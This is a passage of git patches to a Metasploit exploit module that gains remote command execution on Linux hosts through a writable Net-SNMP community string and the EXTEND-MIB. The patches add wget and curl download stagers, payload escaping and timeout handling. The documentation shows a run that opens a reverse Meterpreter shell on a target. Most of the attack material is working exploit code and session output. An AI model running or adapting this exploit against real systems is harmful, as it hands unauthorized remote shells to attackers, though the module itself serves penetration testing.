:bourne, :wget ]}], ['Linux x64', { - 'Arch' => ARCH_X86_64, + 'Arch' => ARCH_X64, 'Platform' => 'linux', 'CmdStagerFlavor' => [ :echo, :printf, :bourne ]}] ], From dd267ba4384377abb41897576c5a636470aaafe2 Mon Sep 17 00:00:00 2001 From: Steve Date: Wed, 14 Feb 2018 09:35:25 +0000 Subject: [PATCH 16/26] Fix msftidy warnings --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 7e07c85c00..73af48fbc9 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -34,17 +34,16 @@ class MetasploitModule < Msf::Exploit::Remote }, 'Targets' => [ - ['Linux x86', { - 'Arch' => ARCH_X86, + ['Linux x86', { + 'Arch' => ARCH_X86, 'Platform' => 'linux', 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget ]}], - ['Linux x64', { - 'Arch' => ARCH_X64, + ['Linux x64', { + 'Arch' => ARCH_X64, 'Platform' => 'linux', - 'CmdStagerFlavor' => [ :echo, :printf, :bourne ]}] + 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget ]}] ], #Not tested on other platforms but confirmed the above works. - #'DisclosureDate' => "Dec 22 2017", 'DefaultTarget' => 0, ) From 734a6496c581ff42611de4d8d148ef35f8c725c3 Mon Sep 17 00:00:00 2001 From: Steve Date: Wed, 14 Feb 2018 16:21:15 +0000 Subject: [PATCH 17/26] Fix escaping of printf and echo payloads --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 73af48fbc9..d09b288461 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -65,7 +65,6 @@ class MetasploitModule < Msf::Exploit::Remote # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable # NET-SNMP-EXTEND-MIB::nsExtendArgs."tmp" = STRING: arguments def execute_command(cmd, opts = {}) - # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) oid_1 = '1.3.6.1.4.1.8072.1.3.2.2.1.21.3.116.109.112' oid_1_value = 4 oid_2 = '1.3.6.1.4.1.8072.1.3.2.2.1.2.3.116.109.112' @@ -75,9 +74,19 @@ class MetasploitModule < Msf::Exploit::Remote comm = datastore['COMMUNITY'] oid_3_value = "-c \"#{cmd}\"" + if flavor == :echo + #Add additional escaping for this flavour. + command = cmd.gsub('\\\\x', '\\\\\\\\\\\\\\\\x') + oid_3_value = "-c \"#{command}\"" + end + if flavor == :printf + #Add additional escaping for this flavour. + command = cmd.gsub('\\', '\\\\\\\\\\') + oid_3_value = "-c \"#{command}\"" + end vprint_status(oid_3_value) SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| - vprint_status(manager.get_value("sysDescr.0")) + #vprint_status(manager.get_value("sysDescr.0")) varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) From 5f6ecd2ff9158e0843d09a16709caf7bace2f7de Mon Sep 17 00:00:00 2001 From: Steve Date: Wed, 14 Feb 2018 16:58:14 +0000 Subject: [PATCH 18/26] Documentation update --- .../exploit/linux/snmp/net_snmpd_rw_access.md | 62 +++++++++++++------ 1 file changed, 44 insertions(+), 18 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index 5942b59a1d..12c12f2764 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -15,13 +15,24 @@ 8. You should get a session ## Options - This module accepts 'RHOST' and 'RPORT' to specify target address and port respectively. - 'FILEPATH' specifies where to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp. - 'COMMUNITY' is a read/write community string of the target Net-SNMP service. - 'VERSION' selects the SNMP protocol version. Accepted values are '1' or '2c'. - 'CHUNKSIZE' is the maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. - 'TIMEOUT' specifies the maximum time to allow SNMP to timeout. + **FILEPATH** + The location to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp. + **COMMUNITY** + The read/write community string of the target Net-SNMP service. + + **VERSION** + The SNMP protocol version. Accepted values are '1' or '2c'. + + + **CHUNKSIZE** + The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. + Note that cmdstager payloads are modified to allow further escaping, so the values limits may change between cmdstager flavors. + Possibly related to: [https://sourceforge.net/p/net-snmp/bugs/2542/] + **TIMEOUT** + Specifies the maximum time to allow SNMP to timeout. + + ## Scenario ``` @@ -63,9 +74,15 @@ FILEPATH /tmp yes file path to write to RETRIES 1 yes SNMP Retries RHOST 192.168.1.3 yes The target address - RPORT 161 yes The target port (UDP) + RPORT 161 yes The target port (TCP) + SHELL /bin/bash yes Shell to call with -c argument + SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) TIMEOUT 1 yes SNMP Timeout - VERSION 2c yes SNMP Version <1/2c> + URIPATH no The URI to use for this exploit (default is random) + VERSION 2c yes SNMP Version <1/2c> Payload information: Space: 4096 @@ -79,16 +96,25 @@ https://www.intelisecure.com msf exploit(linux/snmp/net_snmpd_rw_access) > run - + [*] Started reverse TCP handler on 192.168.1.2:4444 - [*] Writing to NET-SNMP-EXTEND-MIB with given payload - [*] Payload generated. Sending in 200 byte chunk increments. - [*] Sent chunked executable. Now executing payload - [*] Sending stage (849108 bytes) to 192.168.1.3 - [+] SNMP request timeout (this is promising). - + [*] Command Stager progress - 1.11% done (199/17924 bytes) + [*] Command Stager progress - 2.23% done (399/17924 bytes) + [*] Command Stager progress - 3.34% done (598/17924 bytes) + [*] Command Stager progress - 4.45% done (797/17924 bytes) + ... Redacted ... + [*] Command Stager progress - 98.64% done (17681/17924 bytes) + [*] Command Stager progress - 99.72% done (17873/17924 bytes) + [*] Sending stage (857352 bytes) to 192.168.1.3 + [*] Meterpreter session 30 opened (192.168.1.2:4444 -> 192.168.1.3:54230) at 2018-02-14 16:52:49 +0000 + [-] Exploit failed: SNMP::RequestTimeout host 192.168.1.3 not responding + [*] Exploit completed, but no session was created. + msf exploit(linux/snmp/net_snmpd_rw_access) > sessions -i 30 + [*] Starting interaction with 30... + + meterpreter > getuid + Server username: uid=121, gid=129, euid=121, egid=129 meterpreter > exit - [*] Shutting down Meterpreter... - - [*] 192.168.1.3 - Meterpreter session 1 closed. Reason: User exit + [*] 192.168.1.3 - Meterpreter session 30 closed. Reason: User exit + ``` From 08d1f9a5c8d2c3b630f69cbaa38b1bf637d2aa82 Mon Sep 17 00:00:00 2001 From: Steve Date: Wed, 14 Feb 2018 17:03:42 +0000 Subject: [PATCH 19/26] Documentation update --- .../exploit/linux/snmp/net_snmpd_rw_access.md | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index 12c12f2764..fa208eab2e 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -15,21 +15,21 @@ 8. You should get a session ## Options - **FILEPATH** + **FILEPATH** The location to write the executable out to on the target. Needs to be writable by the SNMP service user. This defaults to /tmp. - - **COMMUNITY** + + **COMMUNITY** The read/write community string of the target Net-SNMP service. - - **VERSION** + + **VERSION** The SNMP protocol version. Accepted values are '1' or '2c'. - - **CHUNKSIZE** + **CHUNKSIZE** The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. Note that cmdstager payloads are modified to allow further escaping, so the values limits may change between cmdstager flavors. Possibly related to: [https://sourceforge.net/p/net-snmp/bugs/2542/] - **TIMEOUT** + + **TIMEOUT** Specifies the maximum time to allow SNMP to timeout. From b0aeee84355c4740bb9209769b16db3bc92affc1 Mon Sep 17 00:00:00 2001 From: Steve Date: Wed, 14 Feb 2018 17:08:04 +0000 Subject: [PATCH 20/26] Documentation update --- .../exploit/linux/snmp/net_snmpd_rw_access.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index fa208eab2e..0184c9e169 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -25,12 +25,16 @@ The SNMP protocol version. Accepted values are '1' or '2c'. **CHUNKSIZE** - The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments. - Note that cmdstager payloads are modified to allow further escaping, so the values limits may change between cmdstager flavors. - Possibly related to: [https://sourceforge.net/p/net-snmp/bugs/2542/] + The maximum amount of payload bytes to write in a single operation. This value was found through experimentation and may not be suitable in all environments, but should hopefully work for all cmdstager flavors + Note that cmdstager payloads are modified to allow further escaping, so the values limits may also change between cmdstager flavors. + This is possibly related to the following bug: [https://sourceforge.net/p/net-snmp/bugs/2542/]. **TIMEOUT** - Specifies the maximum time to allow SNMP to timeout. + Specifies the maximum time to allow SNMP to timeout. + + **SHELL** + The shell to call for the client. Defaults to '/bin/bash' + ## Scenario From 8976b52216aabfb9822ddce7e554aa240410e7f6 Mon Sep 17 00:00:00 2001 From: Steve Date: Wed, 14 Feb 2018 17:35:19 +0000 Subject: [PATCH 21/26] Handle error stating that SNMP has timed out --- .../modules/exploit/linux/snmp/net_snmpd_rw_access.md | 9 ++++----- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 8 ++++++-- 2 files changed, 10 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md index 0184c9e169..fdba10dac2 100644 --- a/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md +++ b/documentation/modules/exploit/linux/snmp/net_snmpd_rw_access.md @@ -110,11 +110,10 @@ [*] Command Stager progress - 98.64% done (17681/17924 bytes) [*] Command Stager progress - 99.72% done (17873/17924 bytes) [*] Sending stage (857352 bytes) to 192.168.1.3 - [*] Meterpreter session 30 opened (192.168.1.2:4444 -> 192.168.1.3:54230) at 2018-02-14 16:52:49 +0000 - [-] Exploit failed: SNMP::RequestTimeout host 192.168.1.3 not responding - [*] Exploit completed, but no session was created. - msf exploit(linux/snmp/net_snmpd_rw_access) > sessions -i 30 - [*] Starting interaction with 30... + [*] Meterpreter session 31 opened (192.168.1.2:4444 -> 192.168.1.3:54232) at 2018-02-14 17:30:22 +0000 + [+] SNMP request timeout (this is promising). + [*] Command Stager progress - 100.00% done (18022/18022 bytes) + meterpreter > getuid Server username: uid=121, gid=129, euid=121, egid=129 diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index d09b288461..87c1f9bf7c 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -98,8 +98,12 @@ class MetasploitModule < Msf::Exploit::Remote varbind1 = SNMP::VarBind.new(oid_1,SNMP::Integer.new(oid_1_value)) varbind2 = SNMP::VarBind.new(oid_2,SNMP::OctetString.new(oid_2_value)) varbind3 = SNMP::VarBind.new(oid_3,SNMP::OctetString.new(oid_3_value)) - resp = manager.set([varbind1, varbind2, varbind3]) - vprint_status(manager.get_value(oid_4).to_s) + begin + resp = manager.set([varbind1, varbind2, varbind3]) + vprint_status(manager.get_value(oid_4).to_s) + rescue SNMP::RequestTimeout + print_good("SNMP request timeout (this is promising).") + end end end From f7271d00868bb933cd7a6b6309b134f97b6d09ad Mon Sep 17 00:00:00 2001 From: Steve Date: Thu, 15 Feb 2018 13:11:25 +0000 Subject: [PATCH 22/26] Added curl flavor --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 87c1f9bf7c..5d6fb750f2 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -37,11 +37,11 @@ class MetasploitModule < Msf::Exploit::Remote ['Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux', - 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget ]}], + 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}], ['Linux x64', { 'Arch' => ARCH_X64, 'Platform' => 'linux', - 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget ]}] + 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}] ], #Not tested on other platforms but confirmed the above works. #'DisclosureDate' => "Dec 22 2017", @@ -73,17 +73,16 @@ class MetasploitModule < Msf::Exploit::Remote oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' comm = datastore['COMMUNITY'] - oid_3_value = "-c \"#{cmd}\"" if flavor == :echo #Add additional escaping for this flavour. - command = cmd.gsub('\\\\x', '\\\\\\\\\\\\\\\\x') - oid_3_value = "-c \"#{command}\"" + cmd.gsub!('\\\\x', '\\\\\\\\\\\\\\\\x') end if flavor == :printf #Add additional escaping for this flavour. - command = cmd.gsub('\\', '\\\\\\\\\\') - oid_3_value = "-c \"#{command}\"" + cmd.gsub!('\\', '\\\\\\\\\\') end + oid_3_value = "-c \"#{cmd}\"" + vprint_status(oid_3_value) SNMP::Manager.open(:Host => rhost, :Port => rport, :Community => comm) do |manager| #vprint_status(manager.get_value("sysDescr.0")) From 8585dacbb42a84e33e74ca32c205258eb8112754 Mon Sep 17 00:00:00 2001 From: Steve Embling <34773749+steve-embling@users.noreply.github.com> Date: Fri, 18 Jan 2019 17:01:17 +0000 Subject: [PATCH 23/26] Updated to relevant references Updated references to blog post and mailing list of commit proposal Updated disclosure date to commit proposal --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 5d6fb750f2..b48f268975 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -24,7 +24,9 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => ['Steve Embling at InteliSecure'], 'References' => [ - [ 'URL', 'https://www.intelisecure.com'] + [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt' ], + [ 'URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sect-system_monitoring_tools-net-snmp-extending'], + [ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/'] ], 'Payload' => { @@ -44,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote 'CmdStagerFlavor' => [ :echo, :printf, :bourne, :wget, :curl ]}] ], #Not tested on other platforms but confirmed the above works. - #'DisclosureDate' => "Dec 22 2017", + 'DisclosureDate' => "May 10 2004", 'DefaultTarget' => 0, ) ) From 46005eb9330a4ac57843800edcd44017fa42e4fe Mon Sep 17 00:00:00 2001 From: Steve Embling <34773749+steve-embling@users.noreply.github.com> Date: Fri, 9 Aug 2019 14:08:47 +0100 Subject: [PATCH 24/26] Updated References --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index b48f268975..2d2be6e31c 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -24,8 +24,9 @@ class MetasploitModule < Msf::Exploit::Remote 'Author' => ['Steve Embling at InteliSecure'], 'References' => [ - [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt' ], - [ 'URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sect-system_monitoring_tools-net-snmp-extending'], + [ 'URL', 'http://net-snmp.sourceforge.net/docs/mibs/NET-SNMP-EXTEND-MIB.txt'], + [ 'URL', 'https://medium.com/rangeforce/snmp-arbitrary-command-execution-19a6088c888e'], + [ 'URL', 'https://digi.ninja/blog/snmp_to_shell.php'], [ 'URL', 'https://sourceforge.net/p/net-snmp/mailman/message/15735617/'] ], 'Payload' => From 61dc3ad4879c36bb771baa8f4c546ebb40797c75 Mon Sep 17 00:00:00 2001 From: dwelch-r7 Date: Thu, 7 Nov 2019 01:30:24 +0000 Subject: [PATCH 25/26] Replace manual escaping with shellescape function --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 2d2be6e31c..953ce68468 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -76,14 +76,9 @@ class MetasploitModule < Msf::Exploit::Remote oid_4 = '1.3.6.1.4.1.8072.1.3.2.4.1.2.3.116.109.112.1' comm = datastore['COMMUNITY'] - if flavor == :echo - #Add additional escaping for this flavour. - cmd.gsub!('\\\\x', '\\\\\\\\\\\\\\\\x') - end - if flavor == :printf - #Add additional escaping for this flavour. - cmd.gsub!('\\', '\\\\\\\\\\') - end + + cmd = cmd.shellescape unless flavor == :bourne + oid_3_value = "-c \"#{cmd}\"" vprint_status(oid_3_value) From 2ab1b9071f4e86787c6e82b2cc239df2ab81b9d7 Mon Sep 17 00:00:00 2001 From: dwelch-r7 Date: Thu, 7 Nov 2019 01:34:16 +0000 Subject: [PATCH 26/26] remove unsupported check --- modules/exploits/linux/snmp/net_snmpd_rw_access.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb index 953ce68468..2da0b7a254 100644 --- a/modules/exploits/linux/snmp/net_snmpd_rw_access.rb +++ b/modules/exploits/linux/snmp/net_snmpd_rw_access.rb @@ -59,10 +59,6 @@ class MetasploitModule < Msf::Exploit::Remote ]) end - def check - Exploit::CheckCode::Unsupported - end - # The exploit method connects and sets: # NET-SNMP-EXTEND-MIB::nsExtendStatus."tmp" = INTEGER: createAndGo(4) # NET-SNMP-EXTEND-MIB::nsExtendCommand."tmp" = STRING: /path/to/executable